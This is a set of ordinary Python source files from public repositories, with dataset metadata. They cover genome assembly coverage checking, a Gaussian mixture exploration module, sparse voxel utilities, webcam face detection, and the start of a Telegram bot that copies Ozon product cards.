coords\n\tshowcoordsShellCommand=mummerPath+\"show-coords -TH \"+prefix+\".delta > \"+prefix+\".coords\"\n\tos.system(showcoordsShellCommand)\n\t# Remove nucmer delta file\n\tos.remove(prefix+\".delta\")\n\n# ---------------------------------------------------------------------------\n\n# =============\n# Get arguments\n# =============\n\n# Initiate the parser\nparser = argparse.ArgumentParser(\n\tdescription = \"\"\"This script check if all chromosomes of a reference are covered by a draft assembly. \n\tIt uses the nucmer (--maxmatch) and show-coords MUMmer4's functions. \n\tThe percentage of each chromosome to be covered can be specified for all chromosomes, \n\tor each one specifically. \"\"\")\nparser.add_argument(\"-r\", \"--ref\", help=\"reference genome assembly (multi fasta)\", required=True)\nparser.add_argument(\"-d\", \"--draft\", help=\"draft genome assemblies (multi fasta)\", nargs='+', required=True)\nparser.add_argument(\"-o\", \"--output\", help=\"Output file\", default = \"\")\nparser.add_argument(\"-p\", \"--percentCovered\", help=\"Percentage of each chromosome that have to be covered\", type=int, default=80)\nparser.add_argument(\"-pid\", \"--percentCoveredForID\", help=\"Percentage that have to be covered for a specific chromosome. Syntax is chromosome1=75 for min coverage of 75p on chromosome1. Several allowed after -pid. \", nargs='+', default = \"\", type=str)\nparser.add_argument(\"-i\", \"--detailledInfo\", help=\"Display the coverage of each chromosome of the reference\", action='store_true')\nparser.add_argument(\"-m\", \"--mummerPath\", help=\"Path to mummer function, if not in path\", type=str, default=\"\")\nparser.add_argument(\"-t\", \"--threads\", help=\"Number of threads for nucmer\", type=int, default=20)\n\n# Read arguments from the command line\nargs = parser.parse_args()\n\nrefPath=args.ref\ndraftPaths=args.draft\nnbDraft=len(draftPaths)\noutputPath=args.output\npercent=int(args.percentCovered)\npercentID=args.percentCoveredForID\nnbIDspecific = len(percentID)\nmummer=args.mummerPath\nif mummer != \"\" and not mummer.endswith(\"/\") :\n\tmummer += \"/\"\nthreads=args.threads\n\n# Write header in output file\nif args.detailledInfo:\n\tif outputPath != \"\":\n\t\tout = open(outputPath, 'w')\n\t\tout.write(\"Assembly\\tChromosome\\tCoverage\\n\")\n\telse:\n\t\tsys.stdout.write(\"Assembly\\tChromosome\\tCoverage\\n\")\nelse:\n\tif outputPath != \"\":\n\t\tout = open(outputPath, 'w')\n\t\tout.write(\"Assembly\\tNbChrPresent\\n\")\n\telse:\n\t\tsys.stdout.write(\"Assembly\\tNbChrPresent\\n\")\n\n# ========================================\n# Get reference chromosome name and length\n# Read reference fasta\nrefFasta = Fasta(refPath)\n\n# make list of percentage to cover for each chromosome\npercentList = [percent] * len(refFasta) # Default percentage for every Chr\nif nbIDspecific != 0: # If specific percentage for a chromosome\n\tfor i in range(nbIDspecific):\n\t\tspecChr = percentID[i].split(\"=\")[0]\n\t\tspecPerc = int(percentID[i].split(\"=\")[1])\n\t\tif specChr not in refFasta.getID():\n\t\t\traise ValueError(\"Chromosome ID specified for specific coverage is not found in the reference genome. \")\n\t\telse:\n\t\t\tpercentList[refFasta.getIndexFromID(specChr)] = specPerc\n\nrefName=refPath.split(\"/\")[-1]\n\n# ==================================================\n# Iterate over each draft assembly to get the number \n# of chromosomes covered by the draft assembly\n# ==================================================\nfor d in range(nbDraft):\n\n\tdraftName=draftPaths[d].split(\"/\")[-1]\n\t#print(\"\\n\\t--- Running for draft assembly \"+draftName+\" ---\\n\")\n\tstart = time.time()\n\n\t# Align draft to ref\n\tprefix = \"Alignment_\" + refName + \"_\" + draftName + \"_\" + datetime.now().strftime(\"%Y_%m_%d_%H_%M_%S_%m_%f\") + \"_\" + str(randint(0, 10000))\n\tgetShowCoords(refPath, draftPaths[d], prefix, mummer, threads)\n\tend = time.time()\n\t#print(\"1/2 Alignment done: ran in \"+str(round(end-start))+\"s\")\n\n\tstart = time.time()\n\t# Get BED list of reference genome\n\trefBED = getBED(refPath)\n\n\t# ======================================\n\t# Get BED of alignments for each chromosome of the ref\n\talignmentBEDs = [[] for i in refFasta]\n\t# Alignments BED will contain per Chromosome the BED of alignments of this chromosome on the draft genome\n\twith open(prefix+\".coords\", 'r') as coords:\n\t\tfor line in coords:\n\t\t\trefStart = int(line.split(\"\\t\")[0])\n\t\t\trefEnd = int(line.split(\"\\t\")[1]) + 1\n\t\t\tChr = line.split(\"\\t\")[7]\n\t\t\tChrIndex = refFasta.getIndexFromID(Chr)\n\n\t\t\talignmentBEDs[ChrIndex] += [BEDcoordinates(id = Chr, start = refStart, end = refEnd)]\n\t\n\tos.remove(prefix+\".coords\")\n\n\t# Convert all to BED\n\talignmentBEDs = [BED(x) for x in alignmentBEDs]\n\n\t# Get coverage per chromosome\n\trefCoverage = []\n\tfor i in range(len(refFasta)):\n\t\trefCoverage += [refBED.getID(refFasta.getID()[i]).overlapLen(alignmentBEDs[i], percent = True)]\n\n\t# Output detailled for each chromosome\n\tif args.detailledInfo:\n\t\tfor i in range(len(refFasta)):\n\t\t\tif outputPath != \"\":\n\t\t\t\tout.write(draftName + \"\\t\" + refFasta.getID()[i] + \"\\t\" + str(refCoverage[i]) + \"\\n\")\n\t\t\telse: \n\t\t\t\tsys.stdout.write(draftName + \"\\t\" + refFasta.getID()[i] + \"\\t\" + str(refCoverage[i]) + \"\\n\")\n\n\t# Output total number of chromosome presents\n\telse:\n\t\t# Get number of chromosome covered at X%\n\t\tnbChrPresent = 0\n\t\tfor i in range(len(refFasta)):\n\t\t\tif refCoverage[i] >= percentList[i]:\n\t\t\t\tnbChrPresent += 1\n\n\t\tif outputPath != \"\":\n\t\t\tout.write(draftName + \"\\t\" + str(nbChrPresent) + \"\\n\")\n\t\telse: \n\t\t\tsys.stdout.write(draftName + \"\\t\" + str(nbChrPresent) + \"\\n\")\n\nif outputPath != \"\":\n\tout.close()\n\n\n\n\n", "repo_name": "VLoegler/GenomeAssemblyTools", "sub_path": "checkChromosomePresence.py", "file_name": "checkChromosomePresence.py", "file_ext": "py", "file_size_in_byte": 7073, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.system", "line_number": 48, "usage_type": "call"}, {"api_name": "os.system", "line_number": 51, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 53, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 62, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 97, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 97, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 103, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 103, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 131, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 134, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 134, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 134, "usage_type": "call"}, {"api_name": "time.time", "line_number": 136, "usage_type": "call"}, {"api_name": "time.time", "line_number": 139, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 156, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 172, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 172, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 185, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 185, "usage_type": "attribute"}]} {"seq_id": "32609126237", "text": "import numpy as np\nfrom sklearn.mixture import GaussianMixture\nfrom scipy.stats import multivariate_normal\nfrom matplotlib import pyplot as plt\n\nclass ExplorationModule:\n def __init__(self, initial_samples, n_components=1, max_samples=None, **kwargs):\n \"\"\"\n Initialize the exploration module with a Gaussian Mixture Model.\n\n Parameters:\n - initial_samples: An array of initial sample points.\n - n_components: Number of components (Gaussians) in the initial GMM.\n - max_samples: Maximum number of samples to use for updating the GMM.\n \"\"\"\n self.n_components = n_components\n self.max_samples = max_samples\n self.samples = initial_samples\n self.gmm = GaussianMixture(n_components=self.n_components)\n self.gmm.fit(self.samples)\n self.upper_bound = kwargs.get(\"upper_bound\", 1)\n self.lower_bound = kwargs.get(\"lower_bound\", -1)\n \n def update_distribution(self, new_samples):\n \"\"\"\n Update the GMM with new samples.\n\n Parameters:\n - new_samples: An array of new sample points.\n \"\"\"\n # Optionally limit the number of samples to prevent excessive growth\n if self.max_samples and len(self.samples) >= self.max_samples:\n self.samples = self.samples[-self.max_samples:]\n \n self.samples = np.vstack([self.samples, new_samples])\n self.gmm = GaussianMixture(n_components=self.n_components)\n self.gmm.fit(self.samples)\n\n def sample_candidate_points(self, n_samples, exploration_rate=1, random=False):\n \"\"\"\n Generate new candidate points based on the current GMM.\n\n Parameters:\n - n_samples: Number of candidate points to generate.\n \"\"\"\n sample = self.gmm.sample(n_samples)[0]\n sample += np.random.normal(0, exploration_rate, sample.shape)\n # regenerate samples if they are out of bounds\n while np.any(sample > self.upper_bound) or np.any(sample < self.lower_bound):\n sample = self.gmm.sample(n_samples)[0]\n # if random:\n if random:\n sample = np.random.uniform(self.lower_bound, self.upper_bound, sample.shape)\n return sample\n\n\n def assess_novelty(self, points):\n \"\"\"\n Assess the novelty of given points based on the current GMM.\n\n Parameters:\n - points: An array of points to assess.\n \"\"\"\n # Evaluate the probability density of each point under each GMM component\n densities = np.array([multivariate_normal(mean=mean, cov=cov, allow_singular=True).pdf(points)\n for mean, cov in zip(self.gmm.means_, self.gmm.covariances_)])\n\n # Novelty score could be the inverse of density or a more complex function\n novelty_scores = 1 / np.max(densities, axis=0)\n return novelty_scores\n\n def get_variance(self, point):\n \"\"\"\n Estimate the variance of a given point based on the GMM.\n\n Parameters:\n - point: The point to estimate variance for.\n \"\"\"\n # Find the nearest GMM component to the point\n nearest_component = np.argmin(np.linalg.norm(self.gmm.means_ - point, axis=1))\n # Return the variance (diagonal of the covariance matrix) of the nearest component\n return np.diag(self.gmm.covariances_[nearest_component])\n\n def plot_distribution(self):\n \"\"\"\n Plot the current GMM.\n \"\"\"\n # Create a mesh grid on which to evaluate the GMM\n x = np.linspace(self.lower_bound, self.upper_bound, 100)\n y = np.linspace(self.lower_bound, self.upper_bound, 100)\n X, Y = np.meshgrid(x, y)\n XY = np.array([X.ravel(), Y.ravel()]).T\n\n # Evaluate the GMM's probability density function (PDF) on the grid\n Z = np.exp(self.gmm.score_samples(XY))\n Z = Z.reshape(X.shape)\n # Plot the contour\n plt.contourf(X, Y, Z, levels=50, cmap='viridis')\n plt.colorbar()\n plt.title('GMM Contour Plot')\n plt.xlabel('X-axis')\n plt.ylabel('Y-axis')\n plt.show()\n\n def plot_2d_distribution(self, candidate_points, novelty_scores, env, particles=None):\n fig, ax = plt.subplots()\n x = np.linspace(env.bounds[0], env.bounds[1], 1000)\n y = np.linspace(env.bounds[0], env.bounds[1], 1000)\n X, Y = np.meshgrid(x, y)\n Z = env.objective_function.evaluate(np.array([X.flatten(), Y.flatten()]).T).reshape(X.shape)\n\n # Evaluate the GMM PDF on the grid\n XY = np.vstack([X.ravel(), Y.ravel()]).T\n Z_gmm = np.exp(self.gmm.score_samples(XY)).reshape(X.shape)\n \n # Plot the objective function contour\n ax.contour(X, Y, Z, 50)\n \n # Plot the GMM contour with some transparency\n ax.contourf(X, Y, Z_gmm, 50, cmap='viridis', alpha=0.5) # Set alpha for transparency\n\n ax.set_xlim(env.bounds[0][0], env.bounds[1][0])\n ax.set_ylim(env.bounds[0][1], env.bounds[1][1])\n\n # Plot particles and candidate points with scaled novelty scores\n if particles is not None:\n ax.scatter(particles[:, 0], particles[:, 1], c='blue', label='Particles')\n novelty_scores = (novelty_scores - np.min(novelty_scores)) / (np.max(novelty_scores) - np.min(novelty_scores)) * 9 + 1\n ax.scatter(candidate_points[:, 0], candidate_points[:, 1], c='red', label='Candidate points', s=novelty_scores*100)\n\n ax.legend()\n plt.show()", "repo_name": "DMO-LAB/deephiveV2", "sub_path": "exploration/gaussian_mixture.py", "file_name": "gaussian_mixture.py", "file_ext": "py", "file_size_in_byte": 5475, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sklearn.mixture.GaussianMixture", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.mixture.GaussianMixture", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.any", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 53, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 65, "usage_type": "call"}, {"api_name": "scipy.stats.multivariate_normal", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.diag", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}]} {"seq_id": "167209689", "text": "\nimport torch\nimport torchsparse.nn.functional as F\nfrom torchsparse import PointTensor, SparseTensor\nfrom torchsparse.nn.utils import get_kernel_offsets\n\n__all__ = ['initial_voxelize', 'point_to_voxel', 'voxel_to_point']\n\n\n# z: PointTensor\n# return: SparseTensor\ndef initial_voxelize(z, init_res, after_res):\n new_float_coord = torch.cat(\n [(z.C[:, :3] * init_res) / after_res, z.C[:, -1].view(-1, 1)], 1)\n\n pc_hash = F.sphash(torch.floor(new_float_coord).int())\n sparse_hash = torch.unique(pc_hash)\n idx_query = F.sphashquery(pc_hash, sparse_hash)\n counts = F.spcount(idx_query.int(), len(sparse_hash))\n\n inserted_coords = F.spvoxelize(torch.floor(new_float_coord), idx_query,\n counts)\n inserted_coords = torch.round(inserted_coords).int()\n inserted_feat = F.spvoxelize(z.F, idx_query, counts)\n\n new_tensor = SparseTensor(inserted_feat, inserted_coords, 1)\n new_tensor.cmaps.setdefault(new_tensor.stride, new_tensor.coords)\n z.additional_features['idx_query'][1] = idx_query\n z.additional_features['counts'][1] = counts\n z.C = new_float_coord\n\n return new_tensor\n\n\n# x: SparseTensor, z: PointTensor\n# return: SparseTensor\ndef point_to_voxel(x, z):\n if z.additional_features is None or z.additional_features.get('idx_query') is None\\\n or z.additional_features['idx_query'].get(x.s) is None:\n #pc_hash = hash_gpu(torch.floor(z.C).int())\n pc_hash = F.sphash(\n torch.cat([\n torch.floor(z.C[:, :3] / x.s[0]).int() * x.s[0],\n z.C[:, -1].int().view(-1, 1)\n ], 1))\n sparse_hash = F.sphash(x.C)\n idx_query = F.sphashquery(pc_hash, sparse_hash)\n counts = F.spcount(idx_query.int(), x.C.shape[0])\n z.additional_features['idx_query'][x.s] = idx_query\n z.additional_features['counts'][x.s] = counts\n else:\n idx_query = z.additional_features['idx_query'][x.s]\n counts = z.additional_features['counts'][x.s]\n\n inserted_feat = F.spvoxelize(z.F, idx_query, counts)\n new_tensor = SparseTensor(inserted_feat, x.C, x.s)\n new_tensor.cmaps = x.cmaps\n new_tensor.kmaps = x.kmaps\n\n return new_tensor\n\n\n# x: SparseTensor, z: PointTensor\n# return: PointTensor\ndef voxel_to_point(x, z, nearest=False):\n if z.idx_query is None or z.weights is None or z.idx_query.get(\n x.s) is None or z.weights.get(x.s) is None:\n off = get_kernel_offsets(2, x.s, 1, device=z.F.device)\n #old_hash = kernel_hash_gpu(torch.floor(z.C).int(), off)\n old_hash = F.sphash(\n torch.cat([\n torch.floor(z.C[:, :3] / x.s[0]).int() * x.s[0],\n z.C[:, -1].int().view(-1, 1)\n ], 1), off)\n pc_hash = F.sphash(x.C.to(z.F.device))\n idx_query = F.sphashquery(old_hash, pc_hash)\n weights = F.calc_ti_weights(z.C, idx_query,\n scale=x.s[0]).transpose(0, 1).contiguous()\n idx_query = idx_query.transpose(0, 1).contiguous()\n if nearest:\n weights[:, 1:] = 0.\n idx_query[:, 1:] = -1\n new_feat = F.spdevoxelize(x.F, idx_query, weights)\n new_tensor = PointTensor(new_feat,\n z.C,\n idx_query=z.idx_query,\n weights=z.weights)\n new_tensor.additional_features = z.additional_features\n new_tensor.idx_query[x.s] = idx_query\n new_tensor.weights[x.s] = weights\n z.idx_query[x.s] = idx_query\n z.weights[x.s] = weights\n\n else:\n new_feat = F.spdevoxelize(x.F, z.idx_query.get(x.s),\n z.weights.get(x.s))\n new_tensor = PointTensor(new_feat,\n z.C,\n idx_query=z.idx_query,\n weights=z.weights)\n new_tensor.additional_features = z.additional_features\n\n return new_tensor", "repo_name": "neu-vi/PlanarRecon", "sub_path": "ops/torchsparse_utils.py", "file_name": "torchsparse_utils.py", "file_ext": "py", "file_size_in_byte": 3986, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 257, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.cat", "line_number": 13, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional.sphash", "line_number": 16, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.floor", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.unique", "line_number": 17, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional.sphashquery", "line_number": 18, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 18, "usage_type": "name"}, {"api_name": "torchsparse.nn.functional.spcount", "line_number": 19, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 19, "usage_type": "name"}, {"api_name": "torchsparse.nn.functional.spvoxelize", "line_number": 21, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.floor", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.round", "line_number": 23, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional.spvoxelize", "line_number": 24, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 24, "usage_type": "name"}, {"api_name": "torchsparse.SparseTensor", "line_number": 26, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional.sphash", "line_number": 41, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.floor", "line_number": 43, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional.sphash", "line_number": 46, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 46, "usage_type": "name"}, {"api_name": "torchsparse.nn.functional.sphashquery", "line_number": 47, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 47, "usage_type": "name"}, {"api_name": "torchsparse.nn.functional.spcount", "line_number": 48, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 48, "usage_type": "name"}, {"api_name": "torchsparse.nn.functional.spvoxelize", "line_number": 55, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 55, "usage_type": "name"}, {"api_name": "torchsparse.SparseTensor", "line_number": 56, "usage_type": "call"}, {"api_name": "torchsparse.nn.utils.get_kernel_offsets", "line_number": 68, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional.sphash", "line_number": 70, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.floor", "line_number": 72, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional.sphash", "line_number": 75, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 75, "usage_type": "name"}, {"api_name": "torchsparse.nn.functional.sphashquery", "line_number": 76, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 76, "usage_type": "name"}, {"api_name": "torchsparse.nn.functional.calc_ti_weights", "line_number": 77, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 77, "usage_type": "name"}, {"api_name": "torchsparse.nn.functional.spdevoxelize", "line_number": 83, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 83, "usage_type": "name"}, {"api_name": "torchsparse.PointTensor", "line_number": 84, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional.spdevoxelize", "line_number": 95, "usage_type": "call"}, {"api_name": "torchsparse.nn.functional", "line_number": 95, "usage_type": "name"}, {"api_name": "torchsparse.PointTensor", "line_number": 97, "usage_type": "call"}]} {"seq_id": "35219532", "text": "from __future__ import print_function\nimport cv2 as cv\nimport argparse\n\n\n\nprofileface_path= \"haarcascades/haarcascade_frontalcatface.xml\"\nprofileface_cascade = cv.CascadeClassifier()\n#-- 1. Load the cascades\nif not profileface_cascade.load(cv.samples.findFile(profileface_path)):\n print('--(!)Error loading face cascade')\n exit(0)\n\n\ncap = cv.VideoCapture(2)\nif not cap.isOpened:\n print('--(!)Error opening video capture')\n exit(0)\nwhile True:\n ret, frame = cap.read()\n frame_gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n frame_gray = cv.equalizeHist(frame_gray)\n #-- Detect faces\n faces = profileface_cascade.detectMultiScale(frame_gray)\n for (x,y,w,h) in faces:\n center = (x + w//2, y + h//2)\n frame = cv.rectangle(frame,(x,w),(y,h),(0,255,0),2)\n # faceROI = frame_gray[y:y+h,x:x+w]\n #-- In each face, detect eyes\n # v2.rectangle(img,(x1,y1),(x2,y2),(0,255,0),2)\n\n cv.imshow('Capture - Face detection', frame)\n if frame is None:\n print('--(!) No captured frame -- Break!')\n break\n if cv.waitKey(10) == 27:\n break\n\ncap.release()\ncv2.destroyAllWindows()", "repo_name": "magayevenire/basecamera", "sub_path": "data/testHar.py", "file_name": "testHar.py", "file_ext": "py", "file_size_in_byte": 1147, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.CascadeClassifier", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.samples.findFile", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.samples", "line_number": 10, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 21, "usage_type": "attribute"}, {"api_name": "cv2.equalizeHist", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 40, "usage_type": "call"}]} {"seq_id": "39671527622", "text": "import asyncio\nimport os\nimport time\n\nfrom aiogram.fsm.context import FSMContext\nfrom aiogram.types import Message, CallbackQuery, FSInputFile\nfrom aiogram.filters import Command\nfrom aiogram import F, Router\nfrom aiogram.utils.markdown import hcode\n\nfrom create_bot import bot, config\nfrom .filters import AdminFilter\nfrom .inline import AdminInlineKeyboard\nfrom tgbot.misc.states import AdminFSM\nfrom ...services.excel import xlsx_parser\nfrom ...services.orecht import get_card_info\nfrom ...services.ozon_api import OzonAPI\n\nrouter = Router()\nrouter.message.filter(AdminFilter())\n\ninline = AdminInlineKeyboard()\n\nozon_api = OzonAPI()\n\nadmin_group = config.tg_bot.admin_group\n\n\nasync def main_screen_render(start: bool, user_id: int | str):\n if start:\n text = \"Это главный экран бота. Чтобы скопировать карточки товаров, нажмите на клавишу нижу 👇\"\n else:\n text = \"ГЛАВНОЕ МЕНЮ\"\n kb = inline.main_menu_kb()\n await bot.send_message(chat_id=admin_group, text=text, reply_markup=kb)\n\n\n@router.message(Command(\"start\"))\nasync def main_block(message: Message, state: FSMContext):\n await state.set_state(AdminFSM.home)\n await main_screen_render(start=True, user_id=message.from_user.id)\n\n\n@router.callback_query(F.data == \"home\")\nasync def main_block(callback: CallbackQuery, state: FSMContext):\n await state.set_state(AdminFSM.home)\n await main_screen_render(start=False, user_id=callback.from_user.id)\n await bot.answer_callback_query(callback.id)\n\n\n@router.callback_query(F.data == \"clone\")\nasync def main_block(callback: CallbackQuery, state: FSMContext):\n text = \"Введите ClientID аккаунта\"\n kb = inline.home_kb()\n await state.set_state(AdminFSM.client_id)\n await callback.message.answer(text, reply_markup=kb)\n await bot.answer_callback_query(callback.id)\n\n\n@router.message(F.text, AdminFSM.client_id)\nasync def main_block(message: Message, state: FSMContext):\n text = \"Введите токен\"\n kb = inline.home_kb()\n await state.update_data(client_id=message.text.strip())\n await state.set_state(AdminFSM.api_token)\n await message.answer(text, reply_markup=kb)\n\n\n@router.message(F.text, AdminFSM.api_token)\nasync def main_block(message: Message, state: FSMContext):\n file_name = f'{os.getcwd()}/template.xlsx'\n file = FSInputFile(path=file_name, filename=file_name)\n text = \"Заполните шаблон ссылками и загрузите в бот\"\n kb = inline.home_kb()\n await state.update_data(ozon_token=message.text.strip())\n await state.set_state(AdminFSM.get_data)\n await message.answer_document(document=file, caption=text, reply_markup=kb)\n\n\n@router.message(F.document, AdminFSM.get_data)\nasync def main_block(message: Message, state: FSMContext):\n file_name = f\"{os.getcwd()}/data.xlsx\"\n await bot.download(file=message.document, destination=file_name)\n file_data = await xlsx_parser(file=file_name)\n state_data = await state.get_data()\n ozon_token = state_data[\"ozon_token\"]\n client_id = state_data[\"client_id\"]\n if len(file_data) == 0:\n await message.answer(\"Лист не должен быть пустым\")\n return\n await message.answer(\"Ожидайте... ⏳\")\n item_list = []\n for row in file_data:\n if row:\n item = dict(sku=int(row[\"ozon_id\"]), art=row[\"outer_id\"], outer_source=row[\"outer_source\"])\n item_list.append(item)\n task_id = await ozon_api.clone_card(item_list=item_list, ozon_token=ozon_token, client_id=client_id)\n await message.answer(f\"ID задачи {hcode(task_id)}\\nПроверяем результаты клонирования ⏳\")\n await asyncio.sleep(30)\n clone_result = await ozon_api.clone_status(task_id=task_id, ozon_token=ozon_token, client_id=client_id)\n kb = inline.home_kb()\n await asyncio.sleep(1)\n if len(clone_result) > 0:\n text = f\"{len(clone_result)} / {len(file_data)} товаров скопированы с ошибками. Запускается \" \\\n f\"парсер\\nВнимание! процесс может занять длительное время. Пожалуйста, не прерывайте работу бота\"\n await message.answer(text)\n else:\n await message.answer(\"✅ Все товары скопированы\", reply_markup=kb)\n return\n error_items = [dict(offer_id=i[\"offer_id\"], product_id=i[\"product_id\"]) for i in clone_result]\n count_msg = await message.answer(f\"Принудительно скопировано 0 / {len(error_items)} товаров\")\n counter = 0\n archived_articles = []\n for item in error_items:\n offer_id = item[\"offer_id\"]\n product_id = item[\"product_id\"]\n try:\n card_attrs = await ozon_api.get_card_attrs(offer_id=offer_id, ozon_token=ozon_token, client_id=client_id)\n time.sleep(9)\n is_archived = await ozon_api.delete_cards(ozon_token=ozon_token,\n client_id=client_id,\n archive_item=[product_id],\n delete_item=[{\"offer_id\": offer_id}])\n if is_archived:\n archived_articles.append(offer_id)\n if offer_id.split(\"-\")[0] == \"РСВ\":\n oreht_data = await get_card_info(item_art=offer_id.split(\"-\")[-1])\n if not oreht_data:\n await message.answer(\"Неправильная ссылка в Oreht\")\n continue\n images = [oreht_data[\"image\"]]\n else:\n images = [i[\"file_name\"] for i in card_attrs[\"result\"][0][\"images\"]]\n result = await ozon_api.create_card(income_data=card_attrs,\n images=images,\n price=str(2000),\n ozon_token=ozon_token,\n client_id=client_id)\n if result:\n counter += 1\n await count_msg.edit_text(f\"Принудительно скопировано {counter} / {len(error_items)} товаров\")\n else:\n await message.answer(f\"{offer_id} не найден\")\n except Exception as ex:\n await message.answer(f\"{offer_id} error: {ex}\")\n archived_items_chunks = 